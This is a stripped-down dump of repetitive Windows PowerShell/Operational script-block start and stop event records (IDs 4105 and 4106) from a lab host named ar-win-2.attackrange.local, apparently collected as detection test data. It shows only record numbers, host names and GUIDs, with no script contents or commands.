410515102150x0670314Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670313Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670312Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670311Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670310Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670309Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670308Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670307Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670306Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670305Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670304Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670303Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670302Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670301Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670300Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670299Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670298Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670297Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670296Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670295Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670294Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670293Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670292Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670291Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670290Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670289Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670288Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670287Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670286Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670285Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670284Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670283Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670282Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670281Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670280Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670279Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670278Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670277Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670276Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670275Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670274Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670273Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670272Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670271Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670270Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670269Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670268Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670267Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670266Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670265Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670264Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670263Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670262Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670261Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670260Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670259Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670258Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670257Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670256Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670255Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670254Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670253Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670252Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670251Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670250Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670249Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670248Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670247Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670246Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670245Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670244Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670243Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670242Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670241Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670240Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670239Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670238Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670237Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670236Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670235Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670234Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670233Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670232Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670231Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670230Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670229Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670228Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670227Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670226Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670225Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670224Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670223Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670222Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670221Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670220Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670219Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670218Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670217Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670216Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670215Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670214Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670213Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670212Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670211Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670210Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670209Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670208Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670207Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670206Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670205Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670204Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670203Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670202Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670201Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670200Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670199Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670198Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670197Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670196Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670195Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670194Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670193Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670192Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670191Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670190Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670189Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670188Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670187Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670186Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670185Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670184Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670183Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670182Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670181Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670180Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670179Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670178Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670177Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670176Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670175Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670174Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670173Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670172Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670171Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670170Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670169Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670168Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670167Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670166Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670165Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670164Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670163Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670162Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670161Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670160Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670159Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670158Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670157Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670156Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670155Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670154Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670153Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670152Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 